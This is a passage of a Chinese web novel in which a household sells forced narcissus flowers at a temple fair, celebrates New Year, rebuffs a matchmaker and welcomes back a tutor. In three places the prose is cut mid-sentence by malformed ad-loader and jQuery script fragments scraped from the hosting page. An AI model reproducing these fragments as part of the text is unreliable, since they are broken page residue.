“太好吃了!”阮荷和李长风也附和道。 “我刚才在木匠家里尝了一块,你别说,木匠的手艺还真不错。”袁竹在桌边坐下,也拿起一块吃起来,这时她才注意到桌上还有一盘生肉。 “哪来的肉?”袁竹惊奇地问道。 “郭姐姐给的。”阮荷吃着炸鸡块,高兴地答道。 “哪个郭姐姐?郭英?”袁竹问道。 姜佑安吃得一脸满足,“对,就是她,她去逛了庙会回来,特意送肉来给我的。” “送肉给你?为什么?”袁竹问道。 “还能为什么?因为我们是朋友呗,不过我也没有白要,送了一颗水仙花给她。”姜佑安说道。 这边正说着话,院门外又有人来,在大门边问道:“袁妹妹在吗?” 袁竹忙放下鸡块,迎了出去,“张大姐你怎么来了?” “我算着你也有日子没去我家了,之前买的米面都吃完了吧,今天过小年,这些你先拿着应应急。”张慈笑着把手上的面袋子放到袁竹手上。 袁竹心里五味杂陈,牵动着嘴角,终究还是没有笑出来,“这,我不能收。”她哽咽着轻声说道。 “你没种地,要养活家里这些人,挺不容易的,咱们也算得上是邻居,互相帮一把都是应该的,你要是不想白拿,就当是赊的,吃完了再去我家赊。”张慈说完,笑着摆摆手就走了。 姜佑安啃着鸡块走过来,“她来给咱们送粮食的?” “张大姐真是个好人!”阮荷说道。 “是啊,她真是个好人,可惜……”袁竹看着张慈的背影,眉间的愁绪浓得化不开。 “可惜什么?”李长风问道。 “可惜她没有嫁一个好男人。”袁竹感叹道。 “她丈夫对她不好?”姜佑安问道。 “表面上是挺好的。”袁竹看向姜佑安,“你还记得之前爬过咱们院墙的李元义吗?” 姜佑吃惊地瞪大了双眼,“是他!他是张大姐的丈夫?” “唉!”袁竹叹了口气,抱着面袋子进了院子,“就是她,这件事,我到现在也没有跟她说过,李元义平时看起来就是个老实本分的人,这事我不知道该不该跟她说,也不知道她会不会相信。” “这事真是不好办,也许李元义是有贼心,但也确实什么都没干成,说出来平白让人恶心。”姜佑安跟着袁竹走了进去。 李长风虚掩上院门,和阮荷一起回了堂屋。 看袁竹情绪低落,姜佑安笑了笑,“算了,不说这些了,别人夫妻之间的事,我们也不方便多说什么,今天是小年,托她们的福,我们有了米面,还有猪肉鸡肉,可以好好过个年了。” “是啊,袁姐姐,要过年了,我们去把馒头蒸起来吧,还可以炸油饼、油条、小酥肉,等卖了水仙花,咱们还可以买点儿糖来炸糖糕。”阮荷提议道。 袁竹收拾了烦闷的心情,笑着说道:“好,把这些鸡肉也拿过去再炸一炸吧,热乎的更好吃。” “好啊好啊。”李长风高兴地点头附和,和阮荷一起端着猪肉和鸡肉进了厨房。 有了粮食,袁竹和姜佑安心里都踏实了许多,但一天比一天接近新年,两人心里还有有些焦急。 水仙花不管这些,在太阳下,在暖棚里,慢慢慢慢地膨大着花蕾,在腊月二十七这天,才终于有八棵水仙开花了。 袁竹忙去王大用那里去取之前定做的两个木箱子,王大用却只拿出一个没底的大箱子来。 “老爷子,我不是让你做两个吗?你做一个,我怎么挑啊?”袁竹有些生气地问道。 陈大用笑了笑,还把他的独轮车推了出来,把木箱子罩在车上,打开侧边的推拉门,“我家的车借给你卖花用,从这个门里取放,不怕雨雪,也不怕风。” 袁竹看了十分满意,“老爷子,还是你厉害!我们今天去庙会,你有什么要捎的吗?” “给我捎点爆竹烟花吧,我孙子想玩儿。”陈大用说着,从怀里掏出钱袋来。 袁竹连忙摆手,“不用你掏钱,今天卖了花,我给你孙子买!” “袁老板真是大气,好,我替我孙子谢谢你了。”陈大用把钱袋揣回怀里,笑着说道。 “袁姑娘,我和你一起去吧。”杨恩说道。 “好,你也一起去吧。”袁竹说道。 杨恩推着车,进了袁家院子,停在了堂屋门口。 姜佑安已经把开花的水仙从棚子里挪了出来,五棵大一些的,每棵都有四到五个花枝,用了五个黑色的小盘子单独装,旁边围着小石头让它直立,还有三棵小一些的,每棵只有二大三个花枝,姜佑安用了一个大盘子来装,旁边也装点了一些小石头。 大家把水仙花搬 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 到了车上,锁上了院门,高高兴兴往县里去。 到了城隍庙,才知道进去卖东西要交钱,她们只要又退出来,大门外各种摊位已经是满满当当,姜佑安决心明天要早点出门,今天只好先找一个稍远的角落凑合一下。 找好了位置,杨恩架上车,姜佑安打开了车上木箱的推拉门,水仙花的芳香扑鼻而来。 姜佑安拿出一盘放在木箱顶上,袁竹大声吆喝着卖水仙花,吸引了不少路过逛庙会的人。 有人询问水仙花怎么卖,袁竹看向姜佑安,姜佑安说单棵的五百文,三棵的一两银子,花盆赠送。 花朵娇艳,香味浓郁,搭配黑盘子也很好看,可惜价格太贵,很多人问了价,都摇摇头走开了。 路上人来人往,络绎不绝,有很多人在车前停留,又很快离去。 眼看到了中午,大家都饿了,花卖不出去,袁竹渐渐感到不耐烦起来,觉得是因为定价太高,才没有人买,劝姜佑安降降价,姜佑安不肯, 这时,一位带着仆人的姑娘买了两棵,付了一吊钱,姜佑安顿时喜笑颜开,捧着花递给了姑娘身后的仆人。 有了钱,袁竹带着阮荷去买了烧饼来,大家躲在箱子旁,背着风吃着饼,都觉得格外高兴。 下午又卖出去一棵之后,看着人群逐渐稀疏,姜佑安决定收摊回家,路上又在瓷器店买了几个黑盘子,还买了一块布,袁竹买了肉、糖还有爆竹,一家人开开心心地回了家。 晚上留杨恩吃了丰盛的晚饭,才让他回去。 第二天天刚亮,杨恩就来了,今天水仙花开了大半,姜佑安分别放在盘子里装好了,大家一起搬到了车上,往县里走去。 到了城隍庙,抢占了一个离大门稍近的位置,姜佑安把提前绑在杆上的幌子拿出来,把杆绑在车头和车尾,寒风吹过,布舒展开来,只见左边写着“金盏银台”,右边写着“凌波仙子”,格外引人注目。 姜佑安拿出一盘花来放在木箱顶上,五棵水仙花挤挤挨挨,开得热闹极了,她又拿出两盘来,一盘三棵水仙的,花球小一些,花枝也少一些,一盘一棵水仙的,花球很大,一棵就开做一团。 三盘花摆上去,当真是一片生机盎然的景象,在这寒冬腊月,实属罕见,路过的人都忍不住驻足观看,询问价格的人比昨天多了两倍。 姜佑安笑得十分灿烂,一一跟人介绍,这五棵的,二两银子,这三棵的,一两银子,这单独一棵的,五百文,盘子赠送。 众人听了,啧啧感叹。 出得起钱的,当场付钱就把花捧走了,买不起的,看一看也就走了,还有的当真喜欢,却也嫌价格贵,在旁边久久驻足,不舍离去,跟姜佑安攀谈起来,说昨天就听说庙会上有卖水仙的,今天特意前来,姜佑安见人说得诚恳,便降价卖了他一棵。 围观的人越来越多,花却不多了,袁竹把剩下的水仙都放到箱子顶上,大声吆喝,还不到中午,车上的水仙花就全都卖光了。收拾幌子的时候,还有人来询问,袁竹笑着告知,明天还会接着卖。 杨恩推着车出了县城,车上装满了各种年货,有鸡、鸭、鱼和猪肉,有糖、油、豆子、芝麻和调料,有红纸和门神,还有给阮荷买的书、头绳和珠花,给李长风买的护耳,给杨恩买的手套,给姜佑安买的干果和点心。 走在路上,每个人都是红光满面,大家说说笑笑回了家。 袁竹拿出钥匙来开门,忽然有一黑皮壮汉骑着马追来,在袁家门口勒住了缰绳。 48. 过年 “你们就是卖水仙花的?”黎泱泱骑在马上,居高临下地问道。 “是,怎么了?”袁竹问道。 姜佑安看着马上的人,一眼便认出是在县城外遇到的那个骑马的青衣壮汉,惊喜地问道:“是你!公子,你怎么会到此处?” “你认识我?”问出这一句,黎泱泱突然觉得这场景似曾相识,却又想不起来是在哪里见过她。 “不认识,但我见过你,就在县城外不远的地方。”姜佑安说道。 黎泱泱看向袁竹,“水仙花还有吗?” 袁竹打开锁,推开了院门,“有,只是没有正在开的了,你要买花?” 黎泱泱下了马,把马拴在不远处的柳树上,“我先看一看,再决定买不买。” 袁竹想着家里这么多人,即使他身强体壮,应该也不算什么,就把他引进了屋里。 姜佑安跟上去,“请问公子姓甚名谁,家住何处,想要开了的水仙,明天我可以给您送过去。” “我姓黎,不用你送了,我自己拿走。”黎泱泱说道。 “黎公子是骑马来的,自己拿怕是不太方便吧。”姜佑安笑着说道。 黎泱泱看向姜佑安,语气中隐隐透着不悦,“你是在怀疑我?” 算了,真是个怪脾气,美貌的公子就没有和善一点儿的吗?姜佑安觉得很是扫兴,转身回去帮杨恩他们卸货。 黎泱泱去水仙棚里看了,挑了最大的五棵,付了二两银子,捧着一大盘水仙,大踏步走出门去。 “姜姐姐,你别生气。”见人走了,李长风看着姜佑安的脸色说道。 “她生什么气啊?”袁竹问道。 “上次遇到这个男人的时候,姜姐姐就生气了。”李长风说道。 “我才不生气!跟他这种人生气,不值当,不就是脸长得好看吗?等我以后有钱了,还愁没有好看的男人?”姜佑安无所谓地说道。 杨恩笑了,“姜姑娘说得是。” “你还顺着她的话说!别把孩子都教坏了。”袁竹责怪道。 “袁姑娘说得有理,是我失言了。”杨恩微笑着说道。 把东西都搬下车,杨恩把车放在院子一角,大家一起进了厨房做午饭,中午简单吃了点,又喝了茶,吃了点心,阮荷和袁竹又去包包子。 姜佑安、杨恩和李长风也去帮忙,烧火、洗菜、切肉、和面,忙得不亦乐乎,一下午包出三种包子来,萝卜粉丝肉的、红小豆的和芝麻盐的,外皮软,内馅儿香,大家赞不绝口。 袁竹拿了些,让杨恩带回去,又送了一些给张慈,顺便买了些米面回来。 吃了包子,阮荷又忙着炸鱼、炸鸡、炸鸭、炸酥肉,被油锅烘烤的满脸通红。 姜佑安一边烧火,一边闻着满厨房的肉香,感到无比满足,“做了这么多东西,咱们这个年总算是好过了吧。” 阮荷看向袁竹,“袁姐姐,过年会有客人来吗?这些够不够?” 袁竹笑了笑,“没有客人,就咱们自己吃,你们说够就够。” “所有的东西都自己吃,太好了!”姜佑安从盘子里拿起一块炸鱼,高兴地吃起来。 “这回你是大功臣,你多吃点儿,要是不够明天再买。”袁竹说道。 阮荷也开心的笑着,“能挣这么多钱,佑安姐姐和袁姐姐真是厉害。” 姜佑安骄傲地昂起头,“我就说水仙花肯定能挣钱吧!想做的事,就没有不成的!” 李长风点了点头,“姜姐姐最厉害了!” 袁竹忍着笑,“你们再吹捧她,她就要飘起来了。” “我不光飘,我还要飞呢。”姜佑安高兴地在厨房里跑来跑去。 “小心点儿!刚炸好的肉,你别碰掉了。”袁竹说道。 “油锅烫,佑安姐姐小心点儿。”阮荷也提醒道。 “好,知道了。”姜佑安走到锅边,拿起一块酥肉放进嘴里,被烫得龇牙咧嘴,大家一时都笑了起来。 腊月二十九,早上去了没多久,水仙花就卖光了,袁竹又去买了些年货,还买了些衣料回去,说要给大家裁衣裳。 水仙花棚子里只剩些程祥拿来的小球了,零星也有开花的,但都太小了,卖不上价钱,姜佑安和袁竹决定先继续养着,明年冬天再拿出去卖。 反正剩下的也不着急让它开花了,姜佑安和杨恩就把棚子拆了,缝的毡布和麻布也都拆开,还给了陈大用,又把姜佑安的床抬回了西屋,把桌椅挪回堂屋里。 这边忙活完,厨房里也忙活得差不多了,油饼、油条、炸糖糕,装了满满一篮子,拿到堂屋里,大家围着火盆,吃得格外香。 年三十的早上,吃过了早饭,阮荷煮了浆糊晾着,袁竹拿了红纸出来,裁成大大小小的长条和方块,李长风研墨,杨恩写春联,姜佑安写福字,写好之后刷了浆糊贴起来。 喜庆的春联和威风的门神装点在大门上,看起来气象一新,虽说贴得晚了些,但好歹是赶在过年前贴上了。 阮荷炒了南瓜子端出来,热乎乎的,香喷喷的,大家围坐在火盆边嗑起来。 姜佑安铺了纸笔,在一旁的桌子上算账,水仙花总共卖了十六两半吊钱,除去买球茎、雇车还有买盘子的钱,足足赚了十一两银子。 大家听了都很高兴,这下终于不用为粮食发愁了。 杨恩说明年可以再多种一些,今年有些想买的人,都没买到,袁竹连连点头。 下午,阮荷、姜佑安、杨恩和李长风在厨房里筹备年夜饭,袁竹拿了纸钱和鞭炮出来,放在竹筐里,又放进去一盘馒头,一盘整块的熟猪肉,猪肉上插着筷子。 “你这是干什么?”姜佑安问道。 “这是上坟用的,杨恩,等会儿你去山上看看你爹吧。,回来的时候,顺便让木匠带着他孙子来吃年夜饭。”袁竹又往筐里放了一盘干果,忽然抬头道:“对了,忘了买酒了。” “没事,酒和纸钱我早就备下了,多谢袁姑娘。”杨恩切好了菜,放下刀,拎着筐走了出去。 天灰蒙蒙的,像要下雪似的,却又迟迟不肯落下雪花来。 杨恩从山上下来,把竹筐藏在了东屋里,姜佑安摆好了桌椅,去厨房端菜,杨恩也去帮忙,袁竹见陈大用还没来,又叫他去村里催一催。 李长风坐在灶口前,往两个灶口里添柴,阮荷同时照看两个锅,袁竹帮着切菜、递盘子、端菜,厨房里热热闹闹地忙活着,炖鸡、炒猪肉、烧鸭、鱼汤还有各色素菜很快都上了桌,热好的包子也端了上来。 在杨恩在催促下,陈大用抱着一坛子酒,带着孙子来了,一进屋就不停地感叹今天真是有福,吃得这么丰盛,还张罗着要给大家倒酒喝。 院子里杨恩放了一挂鞭,在噼里啪啦的爆裂声中,大家互相谦让着落了座、动了筷,喝酒的喝酒,喝茶的喝茶,都一致夸赞阮荷的手艺好,小小年纪就能张罗一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 大桌年夜饭了。 看着大家大快朵颐,阮荷开心地笑起来。 吃过了年夜饭,收拾了桌子,袁竹上了茶和干果,姜佑安教李长风和阮荷给陈大用说吉祥话,陈大用听了乐开了花,给两人还有他孙子各发了一个红包。 外面天色暗下来,袁竹点起了油灯,杨恩从东屋里拿出三个灯笼来,分发给三个孩子。 灯笼是用细木条做的,外面糊着红纸,里面插着一截短蜡烛,看起来粗劣不堪,三个孩子却都喜出望外,蹦跳着从杨恩手里接了过去。 杨恩给他们点了灯笼,三个孩子就打着红灯笼进了院子,互相追逐嬉闹,不多会儿灯笼就都烧着了,孩子们有些遗憾地看着灯笼烧尽。 火光中有点点雪花飘落,三个孩子又蹦跳起来,“下雪啦!大学啦!”孩子们呼喊着进了屋,大人们听说了,也都出门去看。 天色越来越暗,陈大用看了会儿雪,就牵着孙子向袁竹告了别,和杨恩一起走进了飘雪的夜色中。 袁竹闩上了院门,又关上堂屋门,搬了椅子坐在火盆旁,姜佑安抱着装南瓜子的簸箩坐过来,阮荷和李长风也凑了过来,相约着一起守岁。 喝着茶,吃着瓜子和干果,姜佑安觉得枯坐无聊,给大家讲起过年驱赶年兽的故事,阮荷和李长风兴致勃勃地听着,讲完了年兽,又要听别的故事,姜佑安搜肠刮肚,回忆着以前看过的戏剧,慢慢讲给他们听。 夜半时分,袁竹见李长风坐在椅子上不住地点头,在火盆旁边实在危险,让姜佑安把他叫醒,催他回屋睡了,李长风困倦难当,回了屋躺在床上就睡着了。 袁竹去关上了东屋门,回头看时,见阮荷困得直打呵欠,姜佑安也不时揉揉眼睛,袁竹打开门,把火盆挪了出去,把堂屋们闩上,“都去睡吧,别熬着了。” 两人听话地起身回屋去了,袁竹把南瓜子和干果放到缸里,盖上盖子,也回屋睡去了。 大年初一,大家都起得很晚,简单热了些剩菜吃,阮荷便去准备包饺子,剁好了馅儿,和好了面,擀好了皮,阮荷和袁竹坐在桌边包了起来。 姜佑安和李长风不会包,觉得一叠一折有趣得很,也学着两人的样子包起来,一开始包得歪歪斜斜的,在阮荷的耐心教导下,竟也包得有模有样了。 黄高粱杆做的簸箕里,摆放着一个个白色的小元宝,看起来乖巧可爱。 初一是村里人相互拜年的日子,袁家和李家村来往不多,在包饺子时,张慈过来坐了坐,袁竹送了她一小盘水仙花,陈大用的孙子也过来拜年,姜佑安给他揣了一把南瓜子、一把干桂圆。 吃过午饭,积雪开始融化,土路泥泞,行走不便,村里人都在自家待着,姜佑安和袁竹坐在火盆边说着话,阮荷拿了笔墨纸砚出来练字,李长风在一旁观看。 烤着火,喝着茶,这个年就这样过去了,姜佑安喝茶的时候常想起戴庭芳来,不知道他现在病好了没有。 这天天气晴好,路也变得干爽了,姜佑安打算带着阮荷去戴家看看戴庭芳,还没准备好出门,就看见一个媒婆打扮的妇人进到院里来。 “请问这里是阮姑娘家吗?”乔知音扬声问道。 姜佑安从堂屋里走出去,“你是哪位?找阮姑娘什么事?” “你就是袁娘子吧,我姓乔,你叫我乔大娘就行。”乔知音满脸带笑,一边说一边向屋里看,“阮姑娘在吗?我这里有一桩好姻缘要说与她。” 49. 春天 “什么好姻缘?你先说与我听听。”姜佑安说道。 “袁娘子,县里的开绸缎庄的许家你知道吧,许家的公子今年二十,人品相貌都没得说,前阵子在庙会上见了阮姑娘,就念念不忘,一心要娶阮姑娘为妻,所以特意找我来说和,你看,算不算得上是好姻缘?”乔知音笑着说道。 “我看二十岁成亲倒还算合适,不过阮姑娘岁数还小,如果徐公子当真有心,三年后再来求娶吧。”姜佑安说道。 乔知音脸上的笑容凝固了一瞬,“这怎么话儿说的,阮姑娘要是耽误到二十岁,那不是成了老姑娘了?” 姜佑安觉得甚是荒谬,“小阮二十的时候,徐公子二十三,我还没嫌弃他是老男人呢,你倒说我家小阮是老姑娘?真是岂有此理!” “这……”乔知音尴尬地笑了笑,“女孩子家跟男人到底是不一样,阮姑娘现在是最好的年纪,要是错过了,以后可就不好嫁了。” “不好嫁,我们就养她一辈子,轮不到你这个外人操心。”姜佑安说道。 见眼前这人态度冷淡,乔知音强扮上笑脸,“袁娘子不要这样拒人于千里之外,外面马车里有上好的绸缎十匹,你可以让阮姑娘出来看看,要是喜欢就留下。” “不用看了,她想要什么料子,我们可以给她买,用不着拿她的婚事换,你拿来的那些绸缎,还是还给许家吧。”姜佑安说道。 “我知道你不是阮姑娘的家人,这事还得阮姑娘来定,你让她出来,我跟她好好说说。”乔知音依旧笑着说道。 “没什么好说的。”袁竹从厨房走出来,“除非许公子愿意入赘。” 乔知音听闻,吃惊地瞪大了双眼,声音也提高了几分,“入赘?许家就这么一个宝贝儿子,怎么可能入赘?再说了,你们家又不是什么大户人家,许家也不是穷到活不起了,怎么会让儿子入赘你家?” “不愿意就算了,我们也不是要强迫他,辛苦你跑一趟了,请回吧。”姜佑安说道。 乔知音不愿意就这么放弃,她冲着屋里喊道:“阮姑娘,许家公子是真的喜欢你,他保证,把你娶回家肯定会好好待你,他家是开绸缎庄的,可比卖花赚钱多了,你嫁到许家去,就是大少奶奶,准能享一辈子的清福!还有穿不完的新衣裳,今天我拿来的料子,都是许公子亲自挑选的,你就出来看看吧!” 袁竹抄起了扫帚,“别在我家大吵大闹的,赶紧出去!” “这么好的一桩姻缘,别人求都求不来,放着好日子不过,你们何必要把阮姑娘留在这,跟你们一起受穷呢?”乔知音一边后退,一边说道。 阮荷从堂屋里走出来,来到姜佑安身边,“不是姐姐们要我留下,是我自己想要留下,您说的亲事,我不同意,您请回吧。” 看到阮荷确实如传言说得那般美貌,乔知音耐心地劝慰道:“姑娘,这可是千载难逢的机会,你好好想想,就在这村里待着,做个花农,以后你能嫁一个什么人家?” “我不嫁人,我要读书。”阮荷说道。 “不嫁人?傻姑娘,你说的是什么痴话,女子无才便是德,读书有什么用?读书能让你嫁一个好人家?”乔知音说道。 阮荷发现跟她讲不通,索性不再解释了,“乔大娘请回吧,告诉许公子,这门亲事,我不同意。”说完就回屋去了。 姜佑安见阮荷干脆利索地拒绝了,也不跟乔知音多废话,直接把她赶了出去。 “刚过了十五就有来说亲的,真是晦气!”袁竹生气地把扫帚扔在了地上。 “庙会上人多,见过阮荷的人不少,估计还会有上门来的。”姜佑安说道。 李长风去把扫帚捡了起来,放回屋檐下,“袁姐姐别生气,她敢再来,我就直接把她轰出去。” 姜佑安笑了笑,“好,这事就交给你了,以后再有上门来提亲的,你就直接给赶走。” “嗯。”李长风认真地点了点头。 姜佑安带着阮荷进了城,买了一包点心去看戴庭芳,她没有去书院,而是去书院后门旁边的的戴家,小厮说戴庭芳还在病着,不方便见客,姜佑安把点心托小厮送进去,就带着阮荷走了。 去书坊买了些纸,又买了块肉,姜佑安带着阮荷回了家。 之后的几天,不时就有男人带着媒婆上门,都被袁竹和李长风赶走了。 这些人的说辞越来越离谱,除了少数几个是要求娶阮荷为妻的,其他的又是要纳妾的,又是要养她做外室的,更有人说她本就是赖川的外室,还在这里装什么贞洁烈女,被袁竹直接打了出去。 姜佑安觉得很可能是赖川放了什么流言出去,败坏阮荷的名声,他得不到阮荷,就要往阮荷身上泼脏水。 姜佑安越想越觉得就是这么回事,她想要去县里跟赖川对质,阮荷拦住了她。 “算了吧,他肯定因为之前咱们打他的事,记恨你,你去赖家找他,太危险了。”阮荷说道。 “小阮说得对,他家里人多,你去了肯定要吃亏,说不定他还要追究上次被打的事。”袁竹说道。 “上次他们被打成那样,都没再来找我们的麻烦,他要么是没有去报官,要么是报官了没人理他,可知他没有什么靠山,只是个欺软怕硬的家伙,就算他家里人多,但他总有出门的时候吧,总有落单的时候吧。”姜佑安摩拳擦掌地说道。 “你别冲动,只是说闲话,谁也不能把谁怎么着,你别又惹出麻烦来。”袁竹劝道。 “我觉得这件事没什么大不了的,都是没有影儿的事,过一阵,大家也就都忘了,如果赖川还有别的动作,到时候再对付他也不迟。”阮荷说道。 姜佑安觉得阮荷说得也有理,下次再有人来的时候,姜佑安都会问一问“阮荷是赖川的外室”这种流言,是谁传出来的,姜佑安不太认识县里的人,问来问去,也没个定论。 好在被袁竹骂走几波人之后,来提亲的人渐渐就少了,袁家也慢慢恢复了平静。 天气渐渐回暖,二月里天气晴好,袁竹拿着铁锨去菜园翻地,家里多了几口人,菜园就显得有些小了,她把菜园北侧的围栏拆了,一锹一锹向北边拓展,一边挖,她一边在心里规划着,这里种黄瓜,那里种番茄,旁边种茄子,再旁边种豆角。 阮荷带着姜佑安和李长风去了山边的荒地里挖荠菜,太阳明媚,春风轻拂,草木生发,姜佑 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 安心情大好,跟着阮荷仔仔细细地辨认着荠菜,准备中午包荠菜馅儿的饺子吃,挖了半筐之后,三个人一起高高兴兴地回家去了。 姜佑安刚踏进院门,程祥就从屋里迎了出来,“姜姑娘,你们回来了。” 姜佑安很是吃惊,“你怎么在这里?” “我和我家公子一起来的。”程祥笑着说道。 “戴公子?他也来了?”姜佑安兴奋地放下筐子,随程祥一起走进屋里。 戴庭芳本来正在喝茶,听到姜佑安回来了,从椅子上站起身来,作揖行礼,“姜姑娘。” 姜佑安径直走到戴庭芳的面前来,“戴公子,你的病好了?” 阮荷也走了进去,见戴庭芳气色不错,才放了心,“表哥,你这一病,时间可够长的,上次我和佑安姐姐去你家看你,听说你还在病着,现在可都好全了?” “其实公子的病早就好了……”程祥话还没说完,戴庭芳向他使了个眼色,他马上闭嘴不再说了。 坐在一旁的袁竹又倒了三杯茶,“去洗洗手,喝点儿茶歇一歇。” “早好了?过年前就好了?”姜佑安去斜拉手,向程祥问道。 “没有,是过年后好起来的,也不是什么大病。”戴庭芳解释道:“我早就想来了,是我爹禁止我再来这里,他不让我出门,你们来我家,他也不让我见你们。” “表叔?他为什么要这么做?”阮荷感到十分诧异。 “我爹听信了你是赖川外室的谣言,他一向看不上赖川的为人,不想让我跟赖川所有牵扯,所以不让我过来。”戴庭芳说道。 姜佑安冷哼一声,“哼!不明事理的老头子!赖川跟小阮毫无关系,只不过是求娶小阮不成,才恶意诋毁,戴院长竟因为这些莫须有的传言,就不让你来教小阮!” “老爷一向固执己见,公子跟他解释多次,他……”程祥还没说完,戴庭芳又看了过来,程祥忙闭上嘴。 姜佑安走到程祥面前,奇怪地看着他,“你今天是怎么回事?怎么说话都只说一半?” 程祥看了戴庭芳一眼,“我没事,你们和公子说话,我不该多嘴插话。” 姜佑安斜眼看向戴庭芳,“戴公子,是你不让他说话的?” 撞上姜佑安审视的眼神,戴庭芳有些心虚地挪开视线,“我只是告诉他,有些话我可以自己说,不用他代替我说,不是不让他说话。” 程祥笑了笑,“以前公子在外面不怎么说话,都是我代他说,这么多年,都说习惯了,一时很难改过来,我以后一定多注意。” “主子说话,下人是不应该多嘴。”李长风说道。 “什么主子、下人的。”姜佑安看着程祥,“程祥,你是卖身到戴家的?” “是,我自小就被卖到了戴家。”程祥答道。 “卖身契上是多少两银子?”姜佑安问道。 戴庭芳吃惊地看着姜佑安,“姑娘这是什么意思?难道你想为程祥赎身?” “怎么?不行吗?正好我卖水仙花赚了些银子,既然程祥在你身边不能随意说话,不如让我把他赎出来,留在我身边,他还能自在些。”姜佑安说道。 50. 饺子 “姜佑安,你做什么决定能不能先跟我们商量一下?”袁竹的声音里带着些怒气。 程祥吃惊地看着姜佑安,连连摆手,“不用不用,我自从进了戴家,就一直跟着公子,公子就如同我兄长一般,戴家其他人也不曾苛待于我,不用姑娘赎我。” “我没有苛责他的意思,只是想多锻炼一下,以后就能自己说话了。”戴庭芳赶忙说道。 “哦,原来是这样。”姜佑安点了点头,向程祥说道:“抱歉,是我失言了。” “没关系,我知道姑娘是一片善心,姑娘不用管我,你们聊就是了。”程祥看李长风在旁边蹲着择荠菜,过去蹲下来一起择。 姜佑安在桌边的条凳上坐下喝茶,向戴庭芳问道:“你爹既然不同意,你还过来干什么?” 阮荷在姜佑安身旁坐了,戴庭芳也坐了下来,“我爹有我爹的看法,我也有我的想法,我想继续教阮表妹。” “为什么?”姜佑安问道。 “表妹的好学之心,我都看在眼里,不能因为别人的几句谣言,就放弃她。”戴庭芳说道。 “你要为了小阮,反抗你父亲?”姜佑安问道。 “也不完全是为了表妹,也是为了我自己。”戴庭芳说道。 姜佑安点了点头,拿起茶杯喝茶,看来这个戴庭芳也对阮荷有意思,虽然他爹因为阮荷的名声问题放弃了,他却不肯放弃,倘若他真能为了阮荷反抗他爹,倒算得上是一个可靠的男人。 “让戴公子费心了,小阮,你去把纸笔和书都拿出来,让你表哥继续教你,午饭我去做。”袁竹说着就要去厨房。 姜佑安伸手拦住她,“别!还是让阮荷做吧,我们一起包,很快就好,吃了饭,再让戴公子接着教。” 戴庭芳站起身来,“今天是我来晚了,明早我再过来。” “戴公子也别着急走,今天有新鲜的荠菜饺子,小阮做的可好吃了,你也一起尝尝。”姜佑安说道。 “对啊,小阮一直等着你来呢,你这好不容易来了,还是一块吃个午饭,教了书再走吧。”袁竹说道。 戴庭芳有些犹豫,“这,不会给你们添麻烦吧?” “不麻烦,人多,包饺子可快了。”阮荷笑着说道。 戴庭芳微微一笑,“承蒙盛情,那我就恭敬不如从命了。” 见戴庭芳点头答应,程祥马上响应,“我也去帮忙。” 于是,一群人呼啦啦都去了厨房,只留戴庭芳一人在客厅,他轻轻叹了口气,喃喃道:“真不如下人来得自在。” 洗菜切菜,剁肉拌馅儿,和面擀皮儿,切成一摞摞方块,众人捧着两个簸箕、两盆馅儿,转移到了堂屋里的桌子上。 众人围坐在桌子旁边,包起饺子来,戴庭芳站在一旁,颇觉无趣。 “戴公子别客气,去那边椅子上坐吧,我们很快就包好了。”袁竹说道。 “哦,好。”戴庭芳应了一声,没有动弹。 “戴公子会包饺子吗?”姜佑安问道。 戴庭芳摇了摇头,“不会。” “公子去坐吧,我来替公子包。”程祥说道。 “我以前也不会包饺子,跟小阮学了,觉得挺有趣的,戴公子要不要学一下?”姜佑安看向戴庭芳,微笑着问道。 “公子要吃饺子,戴家厨房就做好端过去了,那里用得着公子亲自包。”程祥说道。 “你不懂,亲自包有亲自包的乐趣,戴公子,要不要试一下?”姜佑安说道。 “好。”戴庭芳去洗了手,在程祥身旁坐下。 姜佑安把四四方方的饺子皮摊放在掌心里,用筷子挑了馅儿放在中间,把皮从中间一折,把馅儿盖上,两手捏着两端,一弯一捏,一个小元宝就包好了。 戴庭芳看了,觉得十分新奇,一步步学着她的样子,包出来一个胖嘟嘟的元宝。 姜佑安哈哈一笑,“你也太贪心了,放这么多馅儿,要是煮漏了,当心袁竹骂你。” “戴公子是客人,你别乱说,我才不会随便骂人。”袁竹说道。 戴庭芳看着簸箕里的排成一列列的饺子,自己包的那个放在其中,真如人群里的大胖子,衣服都要撑裂了,他不禁笑了起来。 美人的笑脸,当真是赏心悦目,姜佑安也笑了起来,“真是难得,能看见你笑得这么开心。” “还真是,公子自打从京城回来,就一直闷闷不乐的,难得有这么开心的时候。”程祥说道。 “在戴家不愁吃穿,不用打猎,也不用卖花,多好的生活啊,有什么不开心的?”袁竹问道。 “就是因为什么都不用做,所以才不开心吧。”姜佑安说道。 袁竹冲着阮荷撇了撇嘴,“有钱人的烦恼,我们这些穷人真是搞不懂。” 阮荷笑了笑,“表哥可能也有自己的烦心事吧。” “烦心事?”袁竹看向戴庭芳,“你在女人面前不能好好说话的毛病,也只治了吗?” 戴庭芳专心地看着自己手上的饺子皮,“没完全好,可能是跟你们接触得多了,我在这里还算正常。” “那也不算什么大毛病嘛,等娶了媳妇,白天晚上都守着你,不就治好了?”袁竹一边包饺子一边说道。 提到娶媳妇,戴庭芳脸红了,“这也说不准,我不能害了别的姑娘。” 为了不让戴庭芳难堪,程祥指着簸箕说道:“这些够煮一锅了吧。” 袁竹看两个簸箕都快放满了,再包就没地方放了,馅儿还剩一些,皮也要用完了,“够了,先煮这些吧,把簸箕腾出来,再接着包。” 袁竹和阮荷捧着簸箕去了厨房,李长风烧火,袁竹煮饺子,阮荷擀皮,程祥也帮着剥蒜做醋汁,堂屋里只剩姜佑安和戴庭芳。 “今天回去,你父亲会责怪你吧。”姜佑安说道。 “年后书院开学,父亲让我吴帮忙做堂录,偶尔也给学生们讲讲经书,我已经答应他了,相应的,他也不会再阻拦我外出。”戴庭芳说道。 “你在书院帮忙,还有时间来这里?”姜佑安问道。 “书院里让学生自学的时间更多,我不会太忙,不过,也不能天天过来,以后我可能会隔一天来一次。”戴庭芳说道。 “辛苦你了。”姜佑安说道。 